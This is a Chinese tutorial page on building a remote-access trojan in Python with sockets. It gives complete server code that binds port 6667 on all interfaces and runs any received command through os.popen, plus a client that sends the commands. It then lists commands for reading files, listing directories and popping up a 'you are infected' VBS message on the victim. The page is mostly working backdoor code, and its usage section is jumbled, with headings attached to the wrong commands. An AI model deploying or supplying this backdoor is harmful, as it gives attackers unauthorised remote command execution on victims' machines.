基础知识
服务端(server)程序
客户端(client)程序
其他命令执行函数
该木马程序的基本用法
1、查看文件内容
2、查看文件目录
3、创建文件或目录
4、调用windows应用程序
5、调用Windows弹窗
严正声明:本文仅限于技术讨论,严禁用于其他用途。
基础知识socket通信模块:针对TCP/IP协议簇进行的程序封装,在Windows/Linux均有这样底层模块。
Unicode 有多种存储方式,常见的有 UTF-8、UTF-16、UTF-32,它们分别用不同的二进制格式来表示 Unicode 字符
如果全部英文或英文与其他文字混合,但英文占绝大部分,用UTF-8就比UTF-16节省了很多空间.而如果全部是中文这样类似的字符或者混合字符中中文占绝大多数.UTF-16就占优势了,可以节省很多空间
编码:
英文多:建议用UTF-8编码(utf-8是使用最多的编码方式,是一种变长字符编码)
中文多:建议用UTF-16编码
中文:window中文采用的是GBK格式编码
netstat -ant :只显示传输层的数据 TCP,UDP连接,可以用来检查socket服务是否起了
服务端(server)程序import socket, os
def attack():
try:
s = socket.socket()
s.bind(('0.0.0.0', 6667)) # 使用缺省地址,所有设备均可访问该服务器的6667端口
s.listen() # 对6667端口进行监听
chanel, client = s.accept() # 进入阻塞状态,accept() 返回元组,接受来自客户端的数据,chanel:新的socket对象用于标识出服务器和哪个客户端连接进行通信, client: 客户端的IP和端口
while True:
receive = chanel.recv(1024).decode()
reply = os.popen(receive).read()
chanel.send(f"命令{receive}的运行结果:\n{reply}".encode())
except:
s.close()
attack()
if __name__ == '__main__':
attack()
客户端(client)程序
import socket
s = socket.socket()
s.connect(('192.168.137.1', 6667))#192.168.137.1是socket服务器的地址
while True:
sendstr = input("请输入消息:")
s.send(sendstr.encode())
receive = s.recv(1024).decode()
print(f"服务器回复:{receive}")
# s.close()
其他命令执行函数
提示:需要导入 os 模块—— import os
该木马程序的基本用法 1、查看文件内容os.system('ipconfig')
os.popen('ipconfig').read()
eval() # 将字符串按照Python代码来执行
window
type 文件绝对路径
linux
2、查看文件目录cat 文件路径
window
dir #查看当前文件路径目录
dir 文件路径 #查看指定文件路径目录
linux
3、创建文件或目录ls #查看当前文件路径目录
ll #查看当前文件路径目录详细信息
ls 文件路径 #查看指定文件路径目录
ll 文件路径 #查看指定文件路径目录详细信息
windows
echo test >> demo.txt #创建一个demo.txt文件,文件内容为 test
linux
4、调用windows应用程序mkdir 路径 #创建目录
echo test >> demo.txt #创建一个demo.txt文件,文件内容为 test
调用计算器
calc.exe
调用其他引用程序
直接输入应用程序绝对路径
5、调用Windows弹窗echo msgbox("你中木马了!!") > E:\hi.vbs
E:\hi.vbs
到此这篇关于Python Socket实现远程木马弹窗详解的文章就介绍到这了,更多相关Python Socket内容请搜索易知道(ezd.cc)以前的文章或继续浏览下面的相关文章希望大家以后多多支持易知道(ezd.cc)!